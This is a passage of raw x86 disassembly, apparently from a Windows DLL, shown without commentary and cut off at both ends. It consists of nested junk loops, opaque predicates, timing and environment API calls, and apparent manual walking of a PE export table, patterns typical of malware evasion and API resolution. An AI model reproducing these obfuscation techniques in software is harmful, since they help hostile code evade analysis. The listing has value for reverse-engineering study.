and dword [ebp - 0x468], 0
jmp 0x1004533f
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0x765a
jge 0x100453e4
and dword [ebp - 0x470], 0
jmp 0x10045365
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0x163b
jge 0x100453df
mov eax, dword [ebp - 0x468]
mov ecx, dword [ebp - 0x470]
sar eax, cl
or eax, dword [ebp - 0x478]
cdq
mov dword [ebp - 0x137c], eax
mov dword [ebp - 0x1378], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1c44], eax
push dword [ebp - 0x1378]
push dword [ebp - 0x137c]
lea ecx, [ebp - 0x2074]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1338], eax
mov ecx, dword [ebp - 0x1338]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x2074]
call fcn.100252df
jmp 0x10045358
jmp 0x10045332
jmp 0x1004530c
and dword [ebp - 0x1cc], 0
jmp 0x100453ff
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x1cc]
cmp ecx, dword [eax + 0x18]
jae 0x1004727d
push 1
lea ecx, [ebp - 0xf8c]
call fcn.100254f9
mov dword [ebp - 4], 0x31
mov dword [ebp - 0x1c50], 0xfffffff9
mov dword [ebp - 0x124], 0xffffffff
mov dword [ebp - 0x11c], 0x836b
mov dword [ebp - 0xb54], 8
mov dword [ebp - 0xbc], 0
jmp 0x10045469
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x10045488
push dword [ebp - 0xbc]
lea ecx, [ebp - 0xf8c]
call fcn.10025597
or dword [eax], 0xffffffff
jmp 0x1004545c
mov dword [ebp - 0xbc], 0
jmp 0x100454a1
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x100454bd
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x1350], 0xfffffffe
jmp 0x10045494
mov eax, dword [ebp - 0x11c]
dec eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x11c], 0xffffffe3
jmp 0x100454e3
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x32
jl 0x10045723
mov dword [ebp - 0x724], 0x9c9d9403
mov dword [ebp - 0x1f8], 0x459f451d
mov dword [ebp - 0x1528], 0xb4373c94
mov dword [ebp - 0x135c], 0xfffffff7
mov dword [ebp - 0x124], 0
jmp 0x10045531
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
jl 0x1004571e
mov dword [ebp - 0x1600], 0xfffe
mov dword [ebp - 0xb6c], 0xffffffff
mov eax, dword [ebp - 0x724]
inc eax
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x1f8], 0xcf22
jne 0x10045577
mov dword [ebp - 0x1520], 1
jmp 0x1004557e
and dword [ebp - 0x1520], 0
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1c58], eax
mov eax, dword [ebp - 0x1f8]
add eax, dword [ebp - 0x11c]
jne 0x100455a4
mov dword [ebp - 0xb44], 1
jmp 0x100455ab
and dword [ebp - 0xb44], 0
cmp dword [ebp - 0xb44], 1
jbe 0x100455c0
mov dword [ebp - 0x1344], 1
jmp 0x100455c7
and dword [ebp - 0x1344], 0
push dword [ebp - 0x124]
lea ecx, [ebp - 0xf8c]
call fcn.10025597
push dword [ebp - 0x124]
lea ecx, [ebp - 0xf8c]
call fcn.10025597
cmp dword [eax], 0
jne 0x10045600
cmp dword [ebp - 0x724], 0
jne 0x10045600
and dword [ebp - 0xb4c], 0
jmp 0x1004560a
mov dword [ebp - 0xb4c], 1
imul eax, dword [ebp - 0xb4c], 0x11e0
imul eax, dword [ebp - 0x1600]
mov dword [ebp - 0xb54], eax
imul eax, dword [ebp - 0xb54], 0
mov dword [ebp - 0x1f8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1350]
cmp dword [ebp - 0x1f8], eax
je 0x1004564f
mov dword [ebp - 0xb5c], 1
jmp 0x10045656
and dword [ebp - 0xb5c], 0
imul esi, dword [ebp - 0xb5c], 0xb56
push dword [ebp - 0x124]
lea ecx, [ebp - 0xf8c]
call fcn.10025597
cmp esi, dword [eax]
jle 0x10045681
mov dword [ebp - 0xb64], 1
jmp 0x10045688
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0xb64]
mov dword [ebp - 0xb6c], eax
mov eax, dword [ebp - 0xb6c]
sub eax, 0x6b786ae2
cmp eax, dword [ebp - 0x1528]
jl 0x100456bc
cmp dword [ebp - 0x11c], 0
je 0x100456bc
mov dword [ebp - 0xb74], 1
jmp 0x100456c3
and dword [ebp - 0xb74], 0
cmp dword [ebp - 0xb74], 7
jne 0x100456d8
mov dword [ebp - 0xb7c], 1
jmp 0x100456df
and dword [ebp - 0xb7c], 0
push dword [ebp - 0x124]
lea ecx, [ebp - 0xf8c]
call fcn.10025597
mov eax, dword [eax]
cmp eax, dword [ebp - 0xb7c]
jne 0x10045706
mov dword [ebp - 0xb84], 1
jmp 0x1004570d
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0xb84]
mov dword [ebp - 0x135c], eax
jmp 0x10045524
jmp 0x100454d6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf8c]
call fcn.1002557b
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x1e4]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x1cc]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xc24], eax
mov dword [ebp - 0x80], 0x6d8d
mov dword [ebp - 0x72c], 8
push 4
lea ecx, [ebp - 0x1864]
call fcn.100254f9
mov dword [ebp - 4], 0x32
mov dword [ebp - 0x1374], 0xc013cef3
mov dword [ebp - 0xc4], 0
jmp 0x10045798
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 4
jge 0x100457ba
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x1864]
call fcn.10025597
mov dword [eax], 0x9fa553fc
jmp 0x1004578b
mov dword [ebp - 0xb8c], 0x7fa
mov dword [ebp - 0x1368], 0x1000a70c
cmp dword [ebp - 0xb8c], 0x8c4
jle 0x100458c2
and dword [ebp - 0x490], 0
jmp 0x100457f4
mov eax, dword [ebp - 0x490]
inc eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0x723e
jge 0x100458c2
and dword [ebp - 0x480], 0
jmp 0x1004581a
mov eax, dword [ebp - 0x480]
inc eax
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0x33aa
jge 0x100458bd
and dword [ebp - 0x488], 0
jmp 0x10045840
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0x1e19
jge 0x100458b8
mov eax, dword [ebp - 0x480]
and eax, dword [ebp - 0x488]
xor eax, dword [ebp - 0x490]
cdq
mov dword [ebp - 0x1388], eax
mov dword [ebp - 0x1384], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x1c60], eax
push dword [ebp - 0x1384]
push dword [ebp - 0x1388]
lea ecx, [ebp - 0x20a4]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1640], eax
mov ecx, dword [ebp - 0x1640]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x20a4]
call fcn.100252df
jmp 0x10045833
jmp 0x1004580d
jmp 0x100457e7
mov dword [ebp - 0xc4], 0
jmp 0x100458db
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jge 0x100458f7
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x1ce8], 0
jmp 0x100458ce
cmp dword [ebp - 0xb8c], 0x700
jge 0x1004590f
push dword [ebp - 0x1368]
call fcn.1008287d
pop ecx
mov eax, 0xddd3
test eax, eax
je 0x10045a1a
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x1c68], eax
xor eax, eax
inc eax
cmp eax, 1
jae 0x10045939
mov dword [ebp - 0xb94], 1
jmp 0x10045940
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x80]
add ecx, dword [ebp - 0xb94]
sub eax, ecx
cmp eax, dword [ebp - 0x80]
jge 0x1004595f
mov dword [ebp - 0xb9c], 1
jmp 0x10045966
and dword [ebp - 0xb9c], 0
mov eax, dword [ebp - 0xb9c]
neg eax
je 0x10045982
cmp dword [ebp - 0x80], 0
je 0x10045982
mov dword [ebp - 0xba4], 1
jmp 0x10045989
and dword [ebp - 0xba4], 0
cmp dword [ebp - 0xba4], 0x4d3ec93c
jne 0x100459a1
mov dword [ebp - 0xbac], 1
jmp 0x100459a8
and dword [ebp - 0xbac], 0
mov eax, dword [ebp - 0xbac]
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x1c70], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x1c18], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x72c], eax
jge 0x100459e0
mov dword [ebp - 0xbb4], 1
jmp 0x100459e7
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0xbb4], eax
je 0x100459fe
mov dword [ebp - 0x1530], 1
jmp 0x10045a05
and dword [ebp - 0x1530], 0
mov eax, 0x7cde
test eax, eax
je 0x10045a1a
mov dword [ebp - 0xbbc], 1
jmp 0x10045a21
and dword [ebp - 0xbbc], 0
mov eax, dword [ebp - 0xbbc]
sub eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x80]
jne 0x10045a3b
mov dword [ebp - 0x734], 1
jmp 0x10045a42
and dword [ebp - 0x734], 0
push 2
lea ecx, [ebp - 0x1864]
call fcn.10025597
mov ecx, dword [ebp - 0x734]
mov dword [eax], ecx
cmp dword [ebp - 0x734], 0
je 0x10045a7b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1ce8], 0
je 0x10045a7b
mov dword [ebp - 0xbc4], 1
jmp 0x10045a82
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0xbc4]
mov dword [ebp - 0x1374], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1864]
call fcn.1002557b
cmp dword [ebp - 0xc24], 0
je 0x10047278
mov dword [ebp - 0x744], 0
mov dword [ebp - 0x200], 0
push 3
lea ecx, [ebp - 0x16ec]
call fcn.100254f9
mov dword [ebp - 4], 0x33
mov dword [ebp - 0xcc], 0
jmp 0x10045aeb
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x10045b07
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x16bc], 0xfffffff9
jmp 0x10045ade
mov dword [ebp - 0xcc], 0
jmp 0x10045b20
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x10045b42
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x16ec]
call fcn.10025597
mov dword [eax], 0x8bc0d133
jmp 0x10045b13
mov eax, dword [ebp - 0x744]
sub eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x200]
cmp eax, 0xa32a17d0
ja 0x10045b68
mov dword [ebp - 0xbcc], 1
jmp 0x10045b6f
and dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0x200]
cmp dword [ebp - 0xbcc], eax
jge 0x10045b89
mov dword [ebp - 0xbd4], 1
jmp 0x10045b90
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0x744]
cmp dword [ebp - 0xbd4], eax
jl 0x10045baa
mov dword [ebp - 0xbdc], 1
jmp 0x10045bb1
and dword [ebp - 0xbdc], 0
cmp dword [ebp - 0xbdc], 0
jb 0x10045bc6
jmp 0x100453f2
cmp dword [ebp - 0xd74], 0xe16
jge 0x10047295
push dword [ebp - 0x1094]
call fcn.1008287d
pop ecx
cmp dword [ebp - 0xd7c], 0x25bd
jge 0x100472ad
push dword [ebp - 0x109c]
call fcn.1008287d
pop ecx
push 4
lea ecx, [ebp - 0x6c4]
call fcn.100254f9
mov dword [ebp - 4], 0x3b
mov dword [ebp - 0xd9c], 9
push 2
lea ecx, [ebp - 0x15fc]
call fcn.100254f9
mov byte [ebp - 4], 0x3c
push 1
lea ecx, [ebp - 0x1810]
call fcn.100254f9
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0x34], 0
jmp 0x100472fd
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x10047319
push dword [ebp - 0x34]
lea ecx, [ebp - 0x6c4]
call fcn.10025597
mov dword [eax], 0x2604
jmp 0x100472f6
mov dword [ebp - 0x34], 0
jmp 0x10047329
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x10047345
push dword [ebp - 0x34]
lea ecx, [ebp - 0x15fc]
call fcn.10025597
mov dword [eax], 0xd162
jmp 0x10047322
mov dword [ebp - 0x34], 0
jmp 0x10047355
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x10047371
push dword [ebp - 0x34]
lea ecx, [ebp - 0x1810]
call fcn.10025597
mov dword [eax], 0xd4a79744
jmp 0x1004734e
push 1
lea ecx, [ebp - 0x6c4]
call fcn.10025597
cmp dword [eax], 0
jne 0x1004738f
mov dword [ebp - 0xda4], 1
jmp 0x10047396
and dword [ebp - 0xda4], 0
push 3
lea ecx, [ebp - 0x6c4]
call fcn.10025597
push 1
lea ecx, [ebp - 0x6c4]
call fcn.10025597
push 2
lea ecx, [ebp - 0x6c4]
call fcn.10025597
push 2
lea ecx, [ebp - 0x6c4]
call fcn.10025597
push 1
lea ecx, [ebp - 0x6c4]
call fcn.10025597
xor eax, eax
inc eax
cmp eax, 0x2f88
jle 0x100473ed
mov dword [ebp - 0xd84], 1
jmp 0x100473f4
and dword [ebp - 0xd84], 0
imul eax, dword [ebp - 0xd84], 0x753f
test eax, eax
jne 0x10047414
mov eax, 0xd73d
test eax, eax
jne 0x10047414
and dword [ebp - 0xd8c], 0
jmp 0x1004741e
mov dword [ebp - 0xd8c], 1
push 1
lea ecx, [ebp - 0x6c4]
call fcn.10025597
mov ecx, dword [ebp - 0xd8c]
cmp ecx, dword [eax]
jne 0x10047441
mov dword [ebp - 0xd94], 1
jmp 0x10047448
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0xd94]
mov dword [ebp - 0xd9c], eax
mov esi, dword [ebp - 0xd9c]
push 0
lea ecx, [ebp - 0x6c4]
call fcn.10025597
cmp esi, dword [eax]
jne 0x10047477
mov dword [ebp - 0x10a4], 1
jmp 0x1004747e
and dword [ebp - 0x10a4], 0
push 0
lea ecx, [ebp - 0x6c4]
call fcn.10025597
push 2
lea ecx, [ebp - 0x6c4]
call fcn.10025597
mov esi, eax
push 1
lea ecx, [ebp - 0x15fc]
call fcn.10025597
mov esi, dword [esi]
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x6c4]
call fcn.10025597
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x15fc]
call fcn.10025597
imul esi, dword [eax]
cmp dword [ebp - 0xda4], esi
jge 0x100474de
mov dword [ebp - 0x10ac], 1
jmp 0x100474e5
and dword [ebp - 0x10ac], 0
push 0
lea ecx, [ebp - 0x15fc]
call fcn.10025597
push 0
lea ecx, [ebp - 0x1810]
call fcn.10025597
mov dword [eax], 1
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x1810]
call fcn.1002557b
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x15fc]
call fcn.1002557b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c4]
call fcn.1002557b
cmp dword [ebp + 0x10], 0
jne 0x100475bc
cmp dword [ebp - 0x1d4], 0xffffffff
je 0x100475bc
mov dword [ebp - 0x210], 0xffffffff
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x1004756d
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov dword [ebp - 0x210], 0
jmp 0x10047586
mov eax, dword [ebp - 0x210]
dec eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xffffffee
jle 0x1004759c
cmp dword [ebp - 0x210], 0
je 0x1004759a
jmp 0x1004759c
jmp 0x10047579
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x1e4]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1d4]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x98], ax
mov dword [ebp - 0x1dc], 0xffff
push 2
lea ecx, [ebp - 0x16d4]
call fcn.100254f9
mov dword [ebp - 4], 0x3e
mov dword [ebp - 0x1c40], 0xffffffff
mov dword [ebp - 0x5c8], 0
jmp 0x100475fd
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 2
jge 0x1004761f
push dword [ebp - 0x5c8]
lea ecx, [ebp - 0x16d4]
call fcn.10025597
mov dword [eax], 0xebb6748f
jmp 0x100475f0
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1dc], 0xfffffff4
jmp 0x10047645
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x2f
jne 0x10047ac5
mov dword [ebp - 0x220], 0x814b733c
mov dword [ebp - 0x220], 0
jmp 0x10047675
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jg 0x10047ac0
mov dword [ebp - 0xf0], 0xfffffff8
mov dword [ebp - 0xf0], 0
jmp 0x100476a5
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jg 0x1004782e
mov dword [ebp - 0x218], 0xffffffff
mov dword [ebp - 0xdac], 0x4475
mov dword [ebp - 0x10bc], 0x1000a8fc
cmp dword [ebp - 0xdac], 0x47ad
jle 0x100477c5
and dword [ebp - 0x5d0], 0
jmp 0x100476f6
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 0x704b
jge 0x100477c5
and dword [ebp - 0x5d8], 0
jmp 0x1004771c
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 0x7084
jge 0x100477c0
and dword [ebp - 0x5e0], 0
jmp 0x10047742
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0x451c
jge 0x100477bb
mov eax, dword [ebp - 0x5d0]
imul eax, dword [ebp - 0x5d8]
and eax, dword [ebp - 0x5e0]
cdq
mov dword [ebp - 0x13f4], eax
mov dword [ebp - 0x13f0], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1930], eax
push dword [ebp - 0x13f0]
push dword [ebp - 0x13f4]
lea ecx, [ebp - 0x2224]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10b4], eax
mov ecx, dword [ebp - 0x10b4]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x2224]
call fcn.100252df
jmp 0x10047735
jmp 0x1004770f
jmp 0x100476e9
mov dword [ebp - 0x218], 1
jmp 0x100477de
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x10047811
push dword [ebp - 0x218]
lea ecx, [ebp - 0x16d4]
call fcn.10025597
mov esi, eax
push dword [ebp - 0x220]
lea ecx, [ebp - 0x16d4]
call fcn.10025597
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x100477d1
cmp dword [ebp - 0xdac], 0x40b4
jge 0x10047829
push dword [ebp - 0x10bc]
call fcn.1008287d
pop ecx
jmp 0x10047698
mov dword [ebp - 0xdbc], 0x1727
mov dword [ebp - 0x10dc], 0x1000a928
cmp dword [ebp - 0xdbc], 0x17c8
jle 0x10047939
and dword [ebp - 0x5e8], 0
jmp 0x10047868
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0x3974
jge 0x10047939
and dword [ebp - 0x5f0], 0
jmp 0x1004788e
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0x1838
jge 0x10047934
and dword [ebp - 0x5f8], 0
jmp 0x100478b4
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0x45cd
jge 0x1004792f
mov eax, dword [ebp - 0x5e8]
imul eax, dword [ebp - 0x5f0]
mov ecx, dword [ebp - 0x5f8]
sar eax, cl
cdq
mov dword [ebp - 0x1400], eax
mov dword [ebp - 0x13fc], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1b7c], eax
push dword [ebp - 0x13fc]
push dword [ebp - 0x1400]
lea ecx, [ebp - 0x2284]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10c4], eax
mov ecx, dword [ebp - 0x10c4]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x2284]
call fcn.100252df
jmp 0x100478a7
jmp 0x10047881
jmp 0x1004785b
mov dword [ebp - 0xf0], 1
jmp 0x10047952
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jl 0x10047aa3
mov byte [ebp - 0x13e], 0
movzx eax, byte [ebp - 0x13e]
test eax, eax
je 0x10047a9e
mov dword [ebp - 0xdb4], 0x31dc
mov dword [ebp - 0x10d4], 0x1000a990
cmp dword [ebp - 0xdb4], 0x331f
jle 0x10047a7e
and dword [ebp - 0x600], 0
jmp 0x100479af
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0x713f
jge 0x10047a7e
and dword [ebp - 0x608], 0
jmp 0x100479d5
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 0x2a98
jge 0x10047a79
and dword [ebp - 0x610], 0
jmp 0x100479fb
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0x1586
jge 0x10047a74
mov eax, dword [ebp - 0x600]
xor eax, dword [ebp - 0x608]
or eax, dword [ebp - 0x610]
cdq
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x14bc], ax
push dword [ebp - 0x1408]
push dword [ebp - 0x140c]
lea ecx, [ebp - 0x22b4]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x10cc], eax
mov ecx, dword [ebp - 0x10cc]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x22b4]
call fcn.100252df
jmp 0x100479ee
jmp 0x100479c8
jmp 0x100479a2
push 0
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
cmp dword [ebp - 0xdb4], 0x31c3
jge 0x10047a9e
push dword [ebp - 0x10d4]
call fcn.1008287d
pop ecx
jmp 0x10047945
cmp dword [ebp - 0xdbc], 0x1401
jge 0x10047abb
push dword [ebp - 0x10dc]
call fcn.1008287d
pop ecx
jmp 0x10047668
jmp 0x10047638
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16d4]
call fcn.1002557b
movzx eax, word [ebp - 0x98]
cmp eax, 0xffff
je 0x10048aa5
push 3
lea ecx, [ebp - 0x6e8]
call fcn.100254f9
mov dword [ebp - 4], 0x3f
mov dword [ebp - 0x620], 0x8e356ec7
mov dword [ebp - 0x618], 0
jmp 0x10047b1d
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 3
jge 0x10047b3f
push dword [ebp - 0x618]
lea ecx, [ebp - 0x6e8]
call fcn.10025597
mov dword [eax], 7
jmp 0x10047b10
push 1
lea ecx, [ebp - 0x6e8]
call fcn.10025597
cmp dword [eax], 0
jne 0x10047b5f
xor eax, eax
inc eax
jne 0x10047b5f
and dword [ebp - 0xdf4], 0
jmp 0x10047b69
mov dword [ebp - 0xdf4], 1
push 0
lea ecx, [ebp - 0x6e8]
call fcn.10025597
cmp dword [eax], 0xfffffffa
jge 0x10047b87
mov dword [ebp - 0xde4], 1
jmp 0x10047b8e
and dword [ebp - 0xde4], 0
push 1
lea ecx, [ebp - 0x6e8]
call fcn.10025597
cmp dword [eax], 0xfffa
jae 0x10047baf
mov dword [ebp - 0xdc4], 1
jmp 0x10047bb6
and dword [ebp - 0xdc4], 0
push 0
lea ecx, [ebp - 0x6e8]
call fcn.10025597
mov ecx, dword [ebp - 0xdc4]
cmp ecx, dword [eax]
je 0x10047bd9
mov dword [ebp - 0xdcc], 1
jmp 0x10047be0
and dword [ebp - 0xdcc], 0
push 1
lea ecx, [ebp - 0x6e8]
call fcn.10025597
mov ecx, dword [ebp - 0xdcc]
cmp ecx, dword [eax]
jge 0x10047c03
mov dword [ebp - 0xdd4], 1
jmp 0x10047c0a
and dword [ebp - 0xdd4], 0
push 1
lea ecx, [ebp - 0x6e8]
call fcn.10025597
mov esi, dword [ebp - 0xdd4]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x6e8]
call fcn.10025597
cmp esi, dword [eax]
je 0x10047c4b
push 2
lea ecx, [ebp - 0x6e8]
call fcn.10025597
cmp dword [eax], 0
jne 0x10047c4b
and dword [ebp - 0xddc], 0
jmp 0x10047c55
mov dword [ebp - 0xddc], 1
cmp dword [ebp - 0xddc], 0xffffffff
jae 0x10047c6a
mov dword [ebp - 0x10e4], 1
jmp 0x10047c71
and dword [ebp - 0x10e4], 0
xor eax, eax
inc eax
cmp eax, 0xffffffff
jne 0x10047c85
mov dword [ebp - 0xdec], 1
jmp 0x10047c8c
and dword [ebp - 0xdec], 0
mov esi, dword [ebp - 0xde4]
sub esi, dword [ebp - 0xdec]
push 2
lea ecx, [ebp - 0x6e8]
call fcn.10025597
cmp esi, dword [eax]
jg 0x10047cb5
mov dword [ebp - 0xdfc], 1
jmp 0x10047cbc
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0xdf4]
cmp eax, dword [ebp - 0xdfc]
jl 0x10047cd6
mov dword [ebp - 0xe04], 1
jmp 0x10047cdd
and dword [ebp - 0xe04], 0
push 1
lea ecx, [ebp - 0x6e8]
call fcn.10025597
mov ecx, dword [ebp - 0xe04]
mov dword [eax], ecx
mov dword [ebp - 0x620], 0
jmp 0x10047d0b
mov eax, dword [ebp - 0x620]
dec eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0xffffffee
jg 0x10047d34
mov byte [ebp - 0x17d], 0
movzx eax, byte [ebp - 0x17d]
test eax, eax
je 0x10047d32
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
jmp 0x10047cfe
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6e8]
call fcn.1002557b
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x1e4]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x98]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x110c], eax
push 3
lea ecx, [ebp - 0x6d0]
call fcn.100254f9
mov dword [ebp - 4], 0x40
mov dword [ebp - 0x1104], 1
mov dword [ebp - 0x628], 0
jmp 0x10047d99
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 3
jge 0x10047dbb
push dword [ebp - 0x628]
lea ecx, [ebp - 0x6d0]
call fcn.10025597
mov dword [eax], 0x10c93b4e
jmp 0x10047d8c
mov byte [ebp - 0x140], 0
movzx eax, byte [ebp - 0x140]
test eax, eax
je 0x10047dd5
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 2
lea ecx, [ebp - 0x6d0]
call fcn.10025597
and dword [eax], 0
jmp 0x10047e0b
push 2
lea ecx, [ebp - 0xfc8]
call fcn.100254f9
mov dword [ebp - 4], 0x48
mov dword [ebp - 0xd0], 0
jmp 0x10048ad2
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x10048af1
push dword [ebp - 0xd0]
lea ecx, [ebp - 0xfc8]
call fcn.10025597
and dword [eax], 0
jmp 0x10048ac5
mov dword [ebp - 0xd0], 0
jmp 0x10048b0a
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jge 0x10048b26
mov eax, dword [ebp - 0xd0]
